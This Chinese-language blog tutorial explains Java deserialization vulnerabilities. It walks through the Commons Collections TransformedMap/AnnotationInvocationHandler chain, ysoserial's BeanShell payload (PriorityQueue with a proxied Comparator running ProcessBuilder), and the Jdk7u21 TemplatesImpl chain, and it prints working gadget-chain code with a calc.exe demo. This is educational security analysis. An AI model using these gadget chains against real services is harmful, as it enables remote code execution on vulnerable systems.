前言
Java的漏洞中,最出名的漏洞莫过于Java反序列化漏洞了。
Java的序列化和反序列化
序列化是一个将对象转化成字节流的过程。在Java中,序列化可以通过objectOutputStream类的writeObject方法来实现。
反序列化是一个将字节流恢复成对象的过程。在Java中,反序列化可以通过ObjectInputStream类的readObject方法来实现。
序列化和反序列化常常用于储存或传输对象。序列化的Bytes中存储的信息包括有类名和非静态成员变量,若成员变量也是对象,则会进行递归序列化和反序列化的。对于特殊的类,不能直接使用通用的序列化和反序列化方法(如HashTable),需要自定义序列化和反序列化的方法。

攻击面
显而易见的攻击面:控制字节流Bytes,即可以在程序中注入恶意构造的特定对象,但是这种方法一般难以应用与构造RCE,因为程序中往往会对反序列化后的对象进行类型转换,如果非指定的类,会抛出异常;这种方法更多可能用于信息的伪造,如权限绕过。
较深层的攻击面:在反序列化的过程中,若控制字节流Bytes,则可控制反序列化的类以及它的成员变量,在这过程中会自动调用自定义的反序列化函数,则可以简化为限制特定函数的有限制的代码执行,若能执行危险函数,则存在安全风险。若能找到合适的POP链,可以导致任意代码执行或命令执行。
关于Java的反序列化漏洞可以阅读长亭科技的这篇文章
文中重点分析了利用Apache Commons Collections实现远程代码执行的原理,大概可以理解为:
Apache Commons Collections 3中有个
TransformedMap类,它对标准的Map进行了拓展,当这个TransformedMap实例中的key或者value发生改变,会调用相应Transformer的transform()方法,这个相应的Transformer是可以通过设置属性来设置的,而且可以用多个Transformer组合成ChainedTransformer,会依次调用transform()方法。Apache Commons Collections 3自带的
InvokerTransformer类的transform方法里面会根据传入的参数来通过Java的反射机制来调用函数。所以,我们可以利用它来调用我们想要调用的任意函数,如Runtime.getRunTime.exec。当然,这个以上所提到的需要
key或者value改变,而默认的readObject函数并不会改变它们。所以,需要找到一个类,它的属性(成员变量)中包含有Map而且readObject函数会对key或者value进行改变,如setValue。然后,找到了
AnnotationInvocationHandler类,它恰好符合上述条件,组合即可实现,输入一个序列化后的对象,程序执行反序列化操作,调用readObject方法,执行恶意代码。
听得有点迷糊吧,可以去看看上面提到的文章,跟着走一遍。
整个反序列化的流程是,AnnotationInvocationHandler对象,它的readObject函数
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
这里其实还是需要分析一下的,我们的目的需要执行var5.setValue,要执行到这里需要一定的条件。只要动态调试一下就可以,主要是var7!=null这个条件,调试一下就可以发现var3只有value这个key,所以,需要Map中的键值为value,即innerMap.put("value","hello world");。
OK,调用setValue函数,会依次调用ChainedTransformer里面的每一个Transformer的transform函数。这个ChainedTransformer的构建方法如下。
((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc.exe");
1.Runtime.class
new ConstantTransformer(Runtime.class),
2.getMethod("getRuntime")
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",new Class[0]}),
3. invoke()
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[] {null, new Object[0]}),
4. exec("calc.exe")
new InvokerTransformer("exec", new Class[]{String.class},new Object[] {"calc.exe"}),
ysoserial
ysoserial 是一个出名的反序列化漏洞利用工具,内有大量的payload,也很方便用于增加/修改payload。
整体架构
源码的src/main/java/ysoserial下是主程序,exploit下是针对不同应用的攻击程序,可以直接修改运行参数来使用不用的payload对目标应用进行测试,payload下是不同组件的反序列化payload,payload目录下有个util目录,里面包含有一些用于生成payload用到的小工具。
源码的src/test/java/ysooserial下是一些测试服务,可以用来测试payload。
由于JEP 290: Filter Incoming Serialization Data (JDK 9,然后反向移植到8u121, 7u131, and 6u141),在新版本的jdk下很多payload都不能用的,建议测试的时候,用低版本的jdk。
BeanShell
beanshell (bsh-2.0b5)是一个Java源代码解释器,类似于脚本语言的特性。BeanShell动态执行标准Java语法,并支持常见的脚本编写方法,如松散类型,命令和方法闭包等。BeanShell可以说是利用Java反射机制实现的新型脚本语言。/咦,貌似还挺好用。
BeanShell的反序列化漏洞,CVE-2016-2510,可以看到修复的commit,修复方法为将InvocationHandler invocationHandler=new Handler(),设置为transient,并且禁止Handler类序列化。
BeanShell通过反射的方式来实现调用函数,invocationHandler是我们在动态代理中很熟悉的一个参数,这里考虑到构造某类反序列化时,通过动态代理的方法调用我们事先存储在invocationHandler中的函数,从而执行任意代码。
小技巧
java.util.PriorityQueue类经过构造可以调用成员变量的Comparator.compare()和Comparator.compareTo()方法。
Payload如下
public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload
String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
",", "\"", "\"") +
"}).start();return new Integer(1);}";
// Create Interpreter
Interpreter i = new Interpreter();
// Evaluate payload
i.eval(payload);
// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
首先,构造beanshell的执行payload,执行并存储在invocationHandler中,
String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
",", "\"", "\"") +
"}).start();return new Integer(1);}";
// Create Interpreter
Interpreter i = new Interpreter();
然后,通过反射,取出XThis的成员变量invocationHandler。
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
接下来构造动态代理,这里用到了小技巧,
PriorityQueue类,它的readObject方法,跟进heapify()方法,里面调用siftDown方法,跟进,当comparator不为null,会调用siftDownUsingComparator,并在里面调用comparator.compare()方法。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
所以,我们只要将上面获得的invocationHandler通过动态代理构造出实现Comparator的对象,并作为PriorityQueue的comparator即可。
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
回顾一下,这里我们学到了一个小技巧PriorityQueue可以在反序列化过程中调用Comparator.compare()和 Comparable.compareTo()函数。
Jdk7u21
该反序列化漏洞存在jdk自带库中,低于jdk7u21的jdk版本受此漏洞影响。
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
- Affected Product(s): Java SE 6, Java SE 7
- Fixed in: Java SE 7u25 (2013-06-18), Java SE 8 (2014-03-18)
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
有成员变量
byte[][] _bytecodes = null // 可以存储恶意bytecode
存在以下调用链
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
只要能够调用TemplatesImpl.getOutputProperties() / TemplatesImpl.newTransformer()即可以实现任意代码执行
在sun.reflect.annotation.AnnotationInvocationHandler的equals方法会反射调用Templates所有方法,所以可以调用getOutputProperties()
Clojure
Clojure是一种高级的,动态的函数式编程语言。 它是基于LISP编程语言设计的,并且具有编译器,可以在Java和.Net运行时环境上运行。
org.clojure:clojure
Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions小技巧
java.util.HashMap类在writeObject过程中,将key/value以列表的形式逐个序列化,在readObject的过程中,会依次调用putVal(hash(key), key, value, false, false);,所以会调用的key.hashCode()和key.equals(k)函数。
由于作者觉得之前写的文章不太容易理解,回炉重造中。。。
如果读者阅读上面文章感觉吃力,建议动手尝试,下方也提供了少量基础知识。
基础知识
Java 反射机制
Java反射是一个API,它被用于在运行时检测和修改方法、类、接口的行为。
通过反射,我们可以在运行时调用方法,而无视它们的访问说明符。
Java的反射的基础是Class类,当JVM加载类时会自动构造Class对象,而Class类对象则封装了(类和接口)的信息。
import java.lang.reflect.Method;
public class TestReflection {
public static void main(String [] args) throws Exception{
Object obj = Runtime.getRuntime();
// 获取obj的类名
System.out.println(obj.getClass().getName());
// 通过类名字符串获取类
Class c = Class.forName("java.lang.Runtime");
System.out.println(c);
// 根据名字获取方法
// Runtime.getRuntime().exec("calc.exe");
Method m1 = c.getDeclaredMethod("getRuntime");
Object o = m1.invoke(c, null);
Method m2 = o.getClass().getMethod("exec",String.class);
m2.invoke(o, "calc.exe");
}
}
Java动态代理机制
利用Java反射技术,在运行时创建接口s的动态实现。
一般创建动态代理,用到两个关键的类Proxy和InvocationHandler。
Proxy.newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
interface IFoo{
void go();
void fly(int len);
}
class Foo implements IFoo{
@Override
public void go(){
System.out.println("调用了Foo 的go函数");
}
public void run(){
System.out.println("调用了Foo 的run函数");
}
@Override
public void fly(int len){
System.out.println("调用了Foo 的fly函数, 飞了"+len+"米");
}
}
class DynamicInvocationHandler implements InvocationHandler{
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("调用invoke函数,方法名为"+method.getName()+", 参数为"+args);
return null;
}
}
public class TestDynamicProxy {
public static void main(String [] args){
// 正常调用
Foo f = new Foo();
f.go();
f.run();
f.fly(10);
// 动态代理调用我们定义的go函数
IFoo f1 = (IFoo) Proxy.newProxyInstance(Foo.class.getClassLoader(), new Class[]{IFoo.class}, new DynamicInvocationHandler());
f1.go();
// ff.run();
f1.fly(8);
IFoo f2 = (IFoo) Proxy.newProxyInstance(Foo.class.getClassLoader(),
new Class[]{IFoo.class},
new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args){
System.out.println("method name is "+ method.getName() + ", args is "+args);
return null;
}
});
f2.go();
f2.fly(7);
}
}
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com